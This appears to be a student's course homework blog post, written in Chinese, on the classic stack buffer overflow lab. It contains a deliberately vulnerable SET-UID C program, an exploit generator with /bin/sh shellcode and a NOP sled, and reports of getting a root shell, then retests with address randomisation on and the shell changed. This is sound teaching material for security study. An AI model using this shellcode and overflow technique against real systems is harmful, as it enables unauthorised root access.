2020-2021-1 20209324《Linux内核原理与分析》第十一周作业

《linux内核原理与分析》第十一周作业

这个作业属于哪个课程 2020-2021-1 Linux内核原理与分析
这个作业要求在哪里 2020-2021-1Linux内核原理与分析第十一周作业
这个作业的目标 完成安全实验
作业正文 本博客链接

0.预处理

先安装一些用于编译32位C程序的软件包

sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb

1.初步处理

关闭地址随机化,以及关闭shell欺骗,最后进入32位linux系统。

2.新建漏洞程序

在/tmp下新建一个stack.c文件,代码如下

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly
");
    return 1;
}

从代码中可以读出,程序会读取一个badfile,然后把文件内容装入buffer。然后对程序进行编译,并设置SET-UID

3.新建攻击程序

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "x31xc0" //xorl %eax,%eax
    "x50"     //pushl %eax
    "x68""//sh" //pushl $0x68732f2f
    "x68""/bin"     //pushl $0x6e69622f
    "x89xe3" //movl %esp,%ebx
    "x50"     //pushl %eax
    "x53"     //pushl %ebx
    "x89xe1" //movl %esp,%ecx
    "x99"     //cdq
    "xb0x0b" //movb $0x0b,%al
    "xcdx80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

由于需要得到shellcode在内存中的地址,所以对stack进行调试,进入gdb

然后,根据内存地址来获得str的地址,

获得了地址0xffffcfb0后,将其填入攻击程序留白的地方

编译执行

由于whoami指令的结果是root,说明已经获得了root权限,攻击成功!

4.练习

4.1通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack 程序,观察能否攻击成功,能否获得root权限

从这两张图中的地址可以得知,确实发生了地址随机化。

4.2将 /bin/sh 重新指向 /bin/bash(或/bin/dash),观察能否攻击成功,能否获得 root 权限。


当重新指向/bash后,发现还是不能成功,因为bash已经修复了对set-uid方法导致shell欺骗的漏洞

原文地址:https://www.cnblogs.com/uujuwajy/p/14071237.html